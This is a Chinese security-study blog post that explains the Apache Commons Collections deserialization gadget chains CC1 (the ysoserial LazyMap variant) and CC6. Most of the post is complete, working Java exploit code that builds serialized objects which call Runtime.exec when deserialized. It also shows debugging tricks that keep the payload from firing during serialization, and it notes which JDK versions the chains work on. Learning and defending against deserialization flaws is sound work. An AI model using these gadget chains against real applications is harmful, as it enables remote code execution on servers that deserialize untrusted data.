当前位置:   article > 正文

Java安全--CC1的补充和CC6_yso cc6

yso cc6

CC1的补充

上一次讲的是cc链的一种形式,这个补充的cc链子是yso的cc链。

这个链子确实比较麻烦,但是和我们下一步要学习的cc6有比较紧的联系。所以做一下补充,值得一提的是这个链子也确实很巧妙

我们看一下两条链子的分歧在哪里:

ChainedTransformer.transform()开始往下和上一次讲的链子是一样的,这里就不赘述了。不一样的是transformer调用的函数从TransformedMap.checkSetValue()变成了LazyMap.get()

我们现在的目标是搜索那里调用了get方法-->也是AnnotationInvocationHandler

需要利用的点在AnnotationInvocationHandlerinvoke()里面,而学完动态代理我们知道InvocationHandler是动态代理类,所以要触发invoke方法需要调用AnnotationInvocationHandler的方法就会调用invoke方法。

,具体invoke方法的调用:

这里这个细节我纠了好久,网上搜不到,最后在jdk文档里面发现了。当在与之关联的代理示例上调用方法时,将在调用处理程序中调用此方法

但是这里虽然调用任意实例的方法都会进入到invoke里面,但是具体要执行什么方法确实要斟酌一下,我们可以看一下啊AnnotationInvocationHandlerinvoke方法体:

需要过几个判断,一一分析一下:

  1. if (member.equals("equals") && paramTypes.length == 1 &&
  2. paramTypes[0] == Object.class)
  3. return equalsImpl(args[0]);
  4. if (paramTypes.length != 0)
  5. throw new AssertionError("Too many parameters for an annotation method");

第一个判断是判断调用的函数是不是equals,如果是就会执行到return了,所以不能调用equals

第二个判断是判断调用的函数是否有参数,如果有则抛出异常,所以我们调用的函数也不能有参数。

然后就可以执行我们想要执行的 memberValues.get(member);

我们只要控制memberValues.get(member); 为LazyMap就可以了

下一步目标是寻找如何触发invoke了,很巧妙的就是刚好同样是AnnotationInvocationHandler这个类的readObject入口有一处执行了无参的方法,从这里可以调用一个无参的方法。刚刚好绕过上面的if条件。

而且这里的memberValues也是我们可以控制的,通过构造函数传参传入的。

但是触发invoke我们需要使用动态代理的类包装一下,然后再传入LazyMap

  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import org.omg.SendingContext.RunTime;
  9. import java.io.*;
  10. import java.lang.annotation.Target;
  11. import java.lang.reflect.*;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class Test {
  15. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  16. Transformer[] transformers = {
  17. new ConstantTransformer(Runtime.class),
  18. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  19. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  20. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  21. };
  22. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  23. HashMap<Object, Object> hashMap = new HashMap<>();
  24. Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
  25. Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  26. Constructor declaredConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
  27. declaredConstructor.setAccessible(true);
  28. InvocationHandler proxy = (InvocationHandler) declaredConstructor.newInstance(Target.class, decorate);
  29. Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class}, proxy);
  30. Object o = declaredConstructor.newInstance(Target.class, m);
  31. serialize(o);
  32. unserialize("ser.bin");
  33. }
  34. public static void serialize(Object obj) throws IOException {
  35. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  36. objectOutputStream.writeObject(obj);
  37. }
  38. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  39. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  40. return objectInputStream.readObject();
  41. }
  42. }

贴一下yso的链子:

  1. Gadget chain:
  2. ObjectInputStream.readObject()
  3. AnnotationInvocationHandler.readObject()
  4. Map(Proxy).entrySet()
  5. AnnotationInvocationHandler.invoke()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InvokerTransformer.transform()
  10. Method.invoke()
  11. Class.getMethod()
  12. InvokerTransformer.transform()
  13. Method.invoke()
  14. Runtime.getRuntime()
  15. InvokerTransformer.transform()
  16. Method.invoke()
  17. Runtime.exec()

CC6

来看一下CC6的链子:

  1. Gadget chain:
  2. java.io.ObjectInputStream.readObject()
  3. java.util.HashSet.readObject()
  4. java.util.HashMap.put()
  5. java.util.HashMap.hash()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  8. org.apache.commons.collections.map.LazyMap.get()
  9. org.apache.commons.collections.functors.ChainedTransformer.transform()
  10. org.apache.commons.collections.functors.InvokerTransformer.transform()
  11. java.lang.reflect.Method.invoke()
  12. java.lang.Runtime.exec()

从LazyMap开始是和这个补充的CC1一样。同样道理我们看一下分歧点在哪里

我们上一次的思路是寻找何处调用了get,并且调用get的参数可控。

我们找到了AnnotationInvocationHandler中的memberValues.get(member)

这次我们寻找的是TiedMapEntry中的getValue,并且这个map刚好我们可控,只要设置成LazyMap就可以完成后面的链子了。

下一步工作就是寻找何处调用了getValue,刚好也在TiedMapEntry中的hashCode中调用了getValue

hashCode()我们十分熟悉,不就是上次URLDNS那条链子吗。简单回顾一下URLDNS

  1. Gadget Chain:
  2. * HashMap.readObject()
  3. * HashMap.putVal()
  4. * HashMap.hash()
  5. * URL.hashCode()

所以我们就可以通过HashMap中的put来接上TiedMaoEntry.hashCode();

我们这里是put调用hash(),然后调用同名函数hashCode(),就会走到TiedMapEntry的同名函数hashCode()

于是我们编写第一版payload:

  1. package org.example;
  2. import com.sun.net.httpserver.Filter;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC6 {
  14. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  15. Transformer[] transformers = {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  20. };
  21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  22. HashMap<Object, Object> hashMap = new HashMap<>();
  23. Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
  24. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
  25. HashMap<Object, Object> hashMap1 = new HashMap<>();
  26. tiedMapEntry.put(tiedMapEntry,"key2");
  27. serialize(hashMap1);
  28. // unserialize("ser.bin");
  29. }
  30. public static void serialize(Object obj) throws IOException {
  31. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  32. objectOutputStream.writeObject(obj);
  33. }
  34. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  35. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  36. return objectInputStream.readObject();
  37. }
  38. }

我们发现序列化的时候会弹计算机,而反序列并不会弹计算机。。

其实这个问题和上次的URLDNS一样,因为序列化的时候put就会走到后面的链子中。那为什么它走了一次反序列化就走不进去呢?

我们调试:

我们通过调试发现在序列化的时候会再添加一个Entry(键值对),所以反序列化的时候这里判断就会是true。


为什么添加了一个Entry(键值对)反序列的时候判断就是true了?

关于containsKey这里给出了一个例子,可以更好理解:

因为containsKey(key)这个函数是判断这个key是否添加过。这里序列化的时候就添加了,所以反序列化的时候会判断出添加过了,就不会执行if里面的语句了。

那怎么解决这个问题?

很简单,我们不能阻止它添加,但是我们可以删除他添加过的呀。所以我们可以把这个Entry删除掉。

因此我们在序列化之前添加一句:

decorate.remove("key1");

注意这里是decorate.remover("key1");

不是hashMap("key1");

  1. package org.example;
  2. import com.sun.net.httpserver.Filter;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC6 {
  14. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  15. Transformer[] transformers = {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  20. };
  21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  22. HashMap<Object, Object> hashMap = new HashMap<>();
  23. Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
  24. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
  25. HashMap<Object, Object> hashMap1 = new HashMap<>();
  26. hashMap1.put(tiedMapEntry,"key2");
  27. decorate.remove("key1");
  28. // serialize(hashMap1);
  29. unserialize("ser.bin");
  30. }
  31. public static void serialize(Object obj) throws IOException {
  32. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  33. objectOutputStream.writeObject(obj);
  34. }
  35. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  36. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  37. return objectInputStream.readObject();
  38. }
  39. }

但是我们希望在序列化的时候不会弹计算机,因为这样会影响我们判断反序列化的结果。所以我们可以改进这个代码,在序列化的时候传进去的Transformer是执行不到恶意类的,然后通过反射在put之后再修改TransformerchainedTransformer。所以改进代码如下:

  1. package org.example;
  2. import com.sun.net.httpserver.Filter;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC6 {
  14. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  15. Transformer[] transformers = {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  20. };
  21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  22. HashMap<Object, Object> hashMap = new HashMap<>();
  23. Map<Object,Object> decorate = LazyMap.decorate(hashMap, new ConstantTransformer(Runtime.class));
  24. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
  25. HashMap<Object, Object> hashMap1 = new HashMap<>();
  26. hashMap1.put(tiedMapEntry,"key2");
  27. decorate.remove("key1");
  28. Class aClass = LazyMap.class;
  29. Field factory = aClass.getDeclaredField("factory");
  30. factory.setAccessible(true);
  31. factory.set(decorate,chainedTransformer);
  32. serialize(hashMap1);
  33. unserialize("ser.bin");
  34. }
  35. public static void serialize(Object obj) throws IOException {
  36. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  37. objectOutputStream.writeObject(obj);
  38. }
  39. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  40. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  41. return objectInputStream.readObject();
  42. }
  43. }

这两个链子更有趣的点在于CC6不受JDK版本限制,CC1需在jdk8u65的版本。那为什么jdk8u71之后就不能使用呢?

因为jdk8u71对AnnotationInvocationHandler的readObject做了改进。

我们看一下jdk8u71的AnnotationInvocationHandler的readObject里面哪里发生了改变

没找到8u71的openjdk就用这个反编译了

但是这个区别的理解还是比较肤浅,只能暂时到这。

有个小坑

如果切换了jdk版本用CC1还是能弹计算器,可能是序列化的内容没有覆盖ser.bin文件,这个时候需要先把ser.bin文件删除了再序列化,此时再反序列化的话就不会弹计算器了。这个小坑感谢xioaqiuxx师傅解答

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/694782
推荐阅读
相关标签
  

闽ICP备14008679号